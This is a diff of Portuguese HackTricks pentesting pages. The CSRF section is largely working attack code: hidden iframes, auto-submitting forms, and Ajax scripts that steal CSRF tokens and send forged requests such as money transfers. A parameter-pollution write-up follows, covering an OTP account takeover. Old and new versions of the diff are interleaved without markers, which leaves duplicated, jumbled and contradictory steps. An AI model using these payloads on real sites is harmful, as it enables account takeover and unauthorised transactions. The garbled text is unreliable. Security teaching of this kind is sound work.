1. Primeiro, o atacante precisa obter o token CSRF do usuário. Isso pode ser feito explorando uma vulnerabilidade de vazamento de token CSRF em um site ou usando técnicas de engenharia social para enganar o usuário e fazê-lo revelar o token.
1. O atacante cria um site malicioso que contém um iframe apontando para o alvo legítimo.
2. O iframe é carregado no navegador do usuário alvo, fazendo com que o token CSRF seja enviado automaticamente para o site malicioso.
3. O atacante extrai o token CSRF do iframe usando JavaScript.
4. O atacante usa o token CSRF roubado para enviar uma solicitação POST maliciosa para o alvo legítimo, executando a ação desejada.
2. Uma vez que o token CSRF tenha sido obtido, o atacante pode criar um iframe oculto em uma página controlada por ele. O iframe deve apontar para o alvo que o atacante deseja atacar.
#### Usando um formulário:
```html
<iframe id="csrf-frame" style="display:none;"></iframe>
```
1. O atacante cria um formulário malicioso em seu site.
2. O formulário é preenchido com os dados necessários para a solicitação POST maliciosa, incluindo o token CSRF roubado.
3. O atacante usa JavaScript para enviar automaticamente o formulário assim que a página é carregada no navegador do usuário alvo.
4. O formulário é enviado para o alvo legítimo, executando a ação desejada usando o token CSRF roubado.
3. Em seguida, o atacante cria um formulário oculto dentro do iframe e preenche os campos necessários, incluindo o token CSRF roubado.
#### Usando Ajax:
```html
<form id="csrf-form" action="https://www.alvo.com/endpoint" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_ROUBADO">
</form>
```
1. O atacante cria uma solicitação Ajax maliciosa em seu site.
2. A solicitação Ajax é configurada para enviar uma solicitação POST para o alvo legítimo, incluindo o token CSRF roubado.
3. O atacante usa JavaScript para disparar automaticamente a solicitação Ajax assim que a página é carregada no navegador do usuário alvo.
4. A solicitação Ajax é enviada para o alvo legítimo, executando a ação desejada usando o token CSRF roubado.
4. O atacante usa JavaScript para enviar automaticamente o formulário assim que a página é carregada.
Essas técnicas permitem que um atacante explore a falta de proteção adequada contra CSRF em um site, enganando os usuários para que executem ações indesejadas sem o seu conhecimento. É importante que os desenvolvedores implementem medidas de segurança, como tokens CSRF aleatórios e verificação de referência, para mitigar esse tipo de ataque.
```html
<script>
document.getElementById('csrf-frame').onload = function() {
document.getElementById('csrf-form').submit();
};
document.getElementById('csrf-frame').src = 'about:blank';
</script>
```
5. O navegador carrega o iframe oculto e envia a solicitação POST para o alvo, incluindo o token CSRF roubado. Como a solicitação é originada do navegador do usuário, o alvo acredita que é uma solicitação legítima e processa-a.
Essa técnica de ataque CSRF pode ser eficaz para explorar sites que não implementam proteções adequadas contra ataques CSRF, como a verificação do token CSRF em todas as solicitações POST. É importante que os desenvolvedores implementem medidas de segurança, como tokens CSRF aleatórios e exclusivos, para proteger seus aplicativos contra esse tipo de ataque.
```markup
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
@ -627,28 +625,35 @@ document.getElementById("form1").submit();
Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando um iframe e um formulário.
1. Primeiro, o atacante cria um site malicioso que contém um iframe invisível. O atributo `src` do iframe é definido como o URL do site alvo que contém a funcionalidade CSRF.
1. Primeiro, o atacante cria um site malicioso que contém um iframe invisível. O atributo `src` do iframe é definido como o URL do site alvo que contém a funcionalidade vulnerável.
```html
<iframe style="display:none" src="https://www.sitetalvo.com/"></iframe>
```
2. Em seguida, o atacante cria um formulário no site malicioso. O formulário é configurado para enviar uma solicitação POST para o site alvo, incluindo o token CSRF roubado.
2. Em seguida, o atacante cria um formulário no site malicioso. O formulário é configurado para enviar uma solicitação POST para o URL vulnerável do site alvo. O token CSRF é incluído como um campo oculto no formulário.
```html
<form action="https://www.sitetalvo.com/endpoint" method="POST">
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_ROUBADO">
<form action="https://www.sitetalvo.com/vulnerabilidade" method="POST">
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_AQUI">
<!-- Outros campos do formulário -->
<input type="submit" value="Enviar">
</form>
```
3. Quando um usuário visita o site malicioso, o iframe invisível é carregado em segundo plano, fazendo com que o token CSRF seja solicitado do site alvo.
3. Quando um usuário visita o site malicioso, o iframe invisível é carregado em segundo plano. Isso faz com que o navegador do usuário faça uma solicitação GET para o site alvo, o que resulta na obtenção do token CSRF válido.
4. O token CSRF é então preenchido automaticamente no formulário e a solicitação POST é enviada quando o usuário clica no botão "Enviar".
4. Em seguida, o formulário malicioso é enviado automaticamente usando JavaScript. Isso faz com que o navegador do usuário envie uma solicitação POST para o URL vulnerável do site alvo, incluindo o token CSRF roubado.
5. Como o usuário está autenticado no site alvo, a solicitação POST é considerada legítima e processada pelo servidor.
```html
<script>
document.forms[0].submit();
</script>
```
Essa técnica de ataque CSRF pode ser eficaz para explorar sites que não implementam medidas de proteção adequadas, como a verificação do referenciador ou a inclusão de tokens CSRF exclusivos em cada solicitação. É importante que os desenvolvedores implementem práticas recomendadas de segurança para mitigar esse tipo de ataque.
5. O servidor do site alvo recebe a solicitação POST e, como o token CSRF é válido, processa a solicitação como se fosse legítima. Isso pode levar a ações indesejadas, como alterar informações do usuário, fazer compras não autorizadas ou executar outras ações maliciosas.
Para se proteger contra esse tipo de ataque, os desenvolvedores devem implementar medidas de segurança, como a inclusão de tokens CSRF exclusivos em todas as solicitações POST e a validação desses tokens no servidor. Os usuários também devem estar cientes dos riscos de visitar sites não confiáveis e manter seus sistemas atualizados com as últimas correções de segurança.
```markup
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
@ -668,17 +673,17 @@ document.forms[0].submit.click();
```
### **Roubar token e enviá-lo usando 2 iframes**
Uma técnica comum de Cross-Site Request Forgery (CSRF) envolve roubar um token de autenticação de um usuário e enviá-lo para um atacante usando iframes. Essa técnica explora a confiança do servidor em um token válido para executar ações maliciosas em nome do usuário.
Um ataque de falsificação de solicitação entre sites (CSRF) é um tipo de ataque em que um invasor engana um usuário autenticado para executar ações indesejadas em um aplicativo da web no qual o usuário está autenticado. Um método comum para realizar um ataque CSRF é roubar o token de autenticação de um usuário e enviá-lo para um servidor controlado pelo invasor.
O processo geral é o seguinte:
Neste exemplo, vamos explorar uma técnica em que o invasor usa dois iframes para roubar o token de autenticação de um usuário e enviá-lo para seu próprio servidor.
1. O atacante cria uma página maliciosa que contém dois iframes.
2. O primeiro iframe é carregado com a página alvo que contém a ação que o atacante deseja executar.
3. O segundo iframe é carregado com uma página controlada pelo atacante.
4. O código JavaScript no segundo iframe rouba o token de autenticação da página alvo.
5. O código JavaScript no segundo iframe envia o token roubado para o atacante usando uma solicitação HTTP.
1. O invasor cria uma página maliciosa que contém dois iframes invisíveis.
2. O primeiro iframe é carregado com a página de destino que contém a ação que o invasor deseja executar. Por exemplo, pode ser uma página que altera a senha do usuário.
3. O segundo iframe é carregado com uma página controlada pelo invasor que contém um script malicioso.
4. O script malicioso no segundo iframe obtém o token de autenticação do usuário da página de destino.
5. O script envia o token para o servidor controlado pelo invasor usando uma solicitação HTTP.
Essa técnica permite que o atacante execute ações em nome do usuário sem o conhecimento ou consentimento dele. Para se proteger contra esse tipo de ataque, é importante implementar medidas de segurança, como o uso de tokens anti-CSRF, que são exclusivos para cada sessão de usuário e são verificados em todas as solicitações. Além disso, é recomendável evitar o uso de iframes em páginas que executam ações sensíveis.
Com essa técnica, o invasor pode roubar o token de autenticação de um usuário e usá-lo para executar ações indesejadas em seu nome. É importante que os desenvolvedores implementem medidas de proteção, como tokens CSRF e verificação de referência, para mitigar esse tipo de ataque. Os usuários também devem estar cientes dos riscos e tomar precauções, como não clicar em links suspeitos ou abrir páginas não confiáveis.
```markup
<script>
var token;
@ -710,9 +715,9 @@ height="600" width="800"></iframe>
```
### **POSTRoubar token CSRF com Ajax e enviar um post com um formulário**
Uma técnica comum para explorar vulnerabilidades de Cross-Site Request Forgery (CSRF) é roubar o token CSRF de um usuário autenticado e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando Ajax para obter o token CSRF e, em seguida, enviá-lo junto com os dados do formulário em uma solicitação POST.
Uma técnica comum de ataque CSRF (Cross-Site Request Forgery) envolve roubar o token CSRF de um usuário e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando Ajax para obter o token CSRF de uma página e, em seguida, enviá-lo junto com uma solicitação POST falsificada.
Aqui está um exemplo de como essa técnica pode ser implementada:
Aqui está um exemplo de como realizar esse tipo de ataque:
```javascript
// Obter o token CSRF usando Ajax
@ -722,31 +727,27 @@ xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var csrfToken = xhr.responseText;
// Enviar uma solicitação POST com o token CSRF e os dados do formulário
var formData = new FormData();
formData.append('csrf_token', csrfToken);
formData.append('username', 'hacker');
formData.append('password', 'senha123');
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '/login', true);
xhr2.onreadystatechange = function() {
if (xhr2.readyState === 4 && xhr2.status === 200) {
// Processar a resposta da solicitação POST
console.log(xhr2.responseText);
}
};
xhr2.send(formData);
// Enviar uma solicitação POST falsificada com o token CSRF
var form = document.createElement('form');
form.method = 'POST';
form.action = '/transfer-money';
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'csrfToken';
input.value = csrfToken;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
};
xhr.send();
```
Neste exemplo, o código JavaScript faz uma solicitação GET para obter o token CSRF do servidor. Em seguida, ele cria um objeto FormData e anexa o token CSRF, juntamente com os dados do formulário (nome de usuário e senha). Finalmente, uma solicitação POST é enviada para o servidor com o token CSRF e os dados do formulário.
Neste exemplo, o código JavaScript faz uma solicitação GET para obter o token CSRF de `/get-csrf-token`. Uma vez que o token é obtido com sucesso, ele é usado para criar um formulário HTML com um campo oculto contendo o token CSRF. Em seguida, o formulário é anexado ao corpo do documento e enviado automaticamente.
É importante ressaltar que essa técnica só funcionará se o token CSRF estiver acessível por meio de uma solicitação GET. Além disso, o servidor deve aceitar solicitações POST com o token CSRF fornecido no corpo da solicitação.
Ao visitar uma página maliciosa que contém esse código, o token CSRF do usuário será roubado e usado para enviar uma solicitação POST falsificada para `/transfer-money`. Isso pode resultar em uma transferência de dinheiro não autorizada ou em outras ações indesejadas.
Os desenvolvedores devem implementar medidas de proteção adequadas, como tokens CSRF com tempo de validade curto e verificação de referência do cabeçalho HTTP, para mitigar esse tipo de ataque.
Para se proteger contra ataques CSRF, é importante implementar medidas de segurança, como a inclusão de tokens CSRF em formulários e a validação desses tokens em todas as solicitações POST.
```markup
<body onload="getData()">
@ -783,17 +784,17 @@ O Socket.IO usa um mecanismo de autenticação baseado em cookies para estabelec
#### Explorando CSRF com Socket.IO
Para explorar o CSRF com o Socket.IO, um atacante precisa enganar um usuário autenticado a visitar um site malicioso que contém um código JavaScript malicioso. Esse código JavaScript pode ser usado para enviar solicitações maliciosas para o servidor Socket.IO em nome do usuário autenticado.
Para explorar o CSRF com o Socket.IO, um atacante precisa enganar o usuário autenticado para visitar um site malicioso que contém um código JavaScript malicioso. Esse código JavaScript pode ser usado para enviar solicitações falsificadas para o servidor Socket.IO, executando ações indesejadas em nome do usuário.
#### Prevenção de CSRF com Socket.IO
Para prevenir ataques CSRF com o Socket.IO, é importante implementar medidas de proteção adequadas. Algumas práticas recomendadas incluem:
- Usar tokens CSRF: Implementar um mecanismo de token CSRF para verificar a origem das solicitações recebidas pelo servidor Socket.IO.
- Verificar a origem da solicitação: Certificar-se de que as solicitações recebidas pelo servidor Socket.IO são provenientes de uma fonte confiável.
- Restringir o acesso a recursos sensíveis: Limitar o acesso a recursos sensíveis apenas a solicitações autenticadas e autorizadas.
- Usar tokens CSRF: Implementar um mecanismo de token CSRF para verificar a autenticidade das solicitações recebidas pelo servidor Socket.IO.
- Restringir origens permitidas: Configurar o servidor Socket.IO para aceitar solicitações apenas de origens confiáveis.
- Implementar cabeçalhos de solicitação personalizados: Adicionar cabeçalhos de solicitação personalizados ao Socket.IO para verificar a origem da solicitação.
Implementar essas práticas recomendadas ajudará a proteger seu aplicativo Socket.IO contra ataques CSRF e garantir a segurança dos usuários autenticados.
Ao implementar essas práticas recomendadas, é possível reduzir significativamente o risco de ataques CSRF em aplicativos que usam o Socket.IO.
```markup
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
@ -897,6 +898,6 @@ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leader
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

62
pentesting-web/parameter-pollution.md
View file

@ -1,41 +1,38 @@
# Poluição de Parâmetros
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Copiado de** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
**Resumo:**
A Poluição de Parâmetros HTTP (HPP) significa poluir os parâmetros HTTP de um aplicativo da web para alcançar uma tarefa maliciosa específica. Refere-se a manipular como um site trata os parâmetros que recebe durante as solicitações HTTP. Isso muda o comportamento de um site de seu comportamento pretendido. A poluição de parâmetros HTTP é um tipo simples de ataque, mas é eficaz.
Poluição de Parâmetros HTTP (HPP) significa poluir os parâmetros HTTP de um aplicativo da web para alcançar uma tarefa maliciosa específica. Refere-se à manipulação de como um site trata os parâmetros que recebe durante as solicitações HTTP. Isso altera o comportamento de um site de seu comportamento pretendido. A poluição de parâmetros HTTP é um tipo simples de ataque, mas é eficaz.
Quando você polui qualquer parâmetro, o código é executado apenas no lado do servidor, que é invisível para nós, mas podemos ver os resultados em nossa tela. O processo intermediário é uma caixa preta.
Quando você polui qualquer parâmetro, o código é executado apenas no lado do servidor, o que é invisível para nós, mas podemos ver os resultados em nossa tela. O processo intermediário é uma caixa preta.
Por exemplo, há uma URL https://www.anybank.com/send que tem três parâmetros:
Por exemplo, há uma URL https://www.anybank.com/send que possui três parâmetros:
1. de:
2. para:
3. quantidade:
1. from:
2. to:
3. amount:
**URL: https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000**
Agora, esta é uma URL normal que irá proceder a uma transação de 10000 de accountA para accountB, mas e se adicionarmos outro parâmetro igual **"from:"**
Agora, esta é uma URL normal que irá realizar uma transação de 10000 de accountA para accountB, mas e se adicionarmos outro parâmetro igual **"from:"**
Então, a URL será como **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC**
Então, a URL ficará assim **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC**
Quando esta URL for processada, uma transação de 10000 será deduzida da contaC em vez da contaA. É assim que você manipula os parâmetros no ataque de **Poluição de Parâmetros HTTP**. Embora o escopo dessa vulnerabilidade não se limite apenas à solicitação **GET**, você também pode realizar esse ataque em uma solicitação baseada em **POST**. Você pode tentar essa vulnerabilidade em muitos lugares, como alteração de senha, 2FA, comentários, upload de foto de perfil, em um parâmetro onde a chave da API é passada, OTP etc.
Quando esta URL for processada, uma transação de 10000 será deduzida da contaC em vez da contaA. É assim que você manipula os parâmetros no ataque de **Poluição de Parâmetros HTTP**. Embora o escopo dessa vulnerabilidade não esteja limitado apenas à solicitação **GET**, você também pode realizar esse ataque em uma solicitação baseada em **POST**. Você pode tentar essa vulnerabilidade em muitos lugares, como alteração de senha, 2FA, comentários, upload de foto de perfil, em um parâmetro onde a chave da API é passada, OTP, etc.
Quando você manipula qualquer parâmetro, sua manipulação depende de como cada tecnologia da web está analisando seus parâmetros. Você pode identificar tecnologias da web usando o "[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)". Abaixo está a captura de tela de algumas tecnologias e sua análise de parâmetros. Tecnologias e sua análise de parâmetros
@ -45,7 +42,7 @@ Gostaria de compartilhar uma das minhas descobertas de HPP, onde consegui assumi
**Como encontrei essa vulnerabilidade?**
1. Fui para uma página de login desse programa, que solicitou um OTP para login
1. Fui para uma página de login desse programa, ele solicitou um OTP para fazer login
Enviar OTP
@ -53,18 +50,33 @@ Enviar OTP
2. Digitei um e-mail e cliquei em "Enviar senha única"
3. Interrompi a solicitação usando o burp suite e adicionei outro e-mail usando o mesmo parâmetro (criei dois e-mails para fins de teste) Solicitação Burp
3. Interrompi a solicitação usando o burp suite e adicionei outro e-mail usando o mesmo parâmetro (criei dois e-mails para fins de teste) Solicitação do Burp
![Imagem para postagem](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
4. Recebi um OTP de shrey……@gmail.com para minha outra conta radhika…..@gmail.com OTP
4. Recebi um OTP de shrey....@gmail.com em minha outra conta radhika....@gmail.com OTP
![Imagem para postagem](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
5. Copiei o OTP e fui para shrey….@gmail.com na tela de login do programa, digitei este OTP e entrei na conta. Assumir Conta
5. Copiei o OTP e fui para shrey....@gmail.com na tela de login do programa, inseri este OTP e entrei na conta. Assumir Conta
![Imagem para postagem](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
O que aconteceu aqui é que o aplicativo back-end pegou o valor do primeiro parâmetro "email" para gerar um OTP e usou o valor do segundo parâmetro "email" para fornecer o valor, o que significa que um OTP de shrey….@gmail.com foi enviado para radhika….@gmail.com.
Então, o que aconteceu aqui é que o aplicativo back-end pegou o valor do primeiro parâmetro "**email**" para gerar um OTP e usou o valor do segundo parâmetro "**email**" para fornecer o valor, o que significa que um OTP de shrey....@gmail.com foi enviado para radhika....@gmail.com.
**NOTA:** Aqui, em uma imagem no 4º passo, onde recebi um OTP para radhika….@gmail.com, fiquei confuso porque a mensagem dizia "Oi Radhika", então pensei que o parâmetro não estava poluído e o OTP era para radhika….@gmail.com, mas quando tentei o OTP em shrey….@gmail.com, funcionou.
**NOTA:** Aqui, em uma imagem na 4ª etapa, onde recebi um OTP para radhika....@gmail.com, fiquei confuso porque a mensagem dizia Olá Radhika, então pensei que o parâmetro não estava poluído e o OTP era para radhika....@gmail.com, mas quando tentei o OTP em shrey....@gmail.com, funcionou.
## Flask & PHP
Neste [**documento**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) você pode ver como uma consulta HTTP como `a=1&a=2` será interpretada de forma diferente pelo Flask e pelo PHP em execução em um servidor Apache HTTP. No Flask, o parâmetro será `1` (primeira ocorrência), enquanto no PHP será `2` (última ocorrência).
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>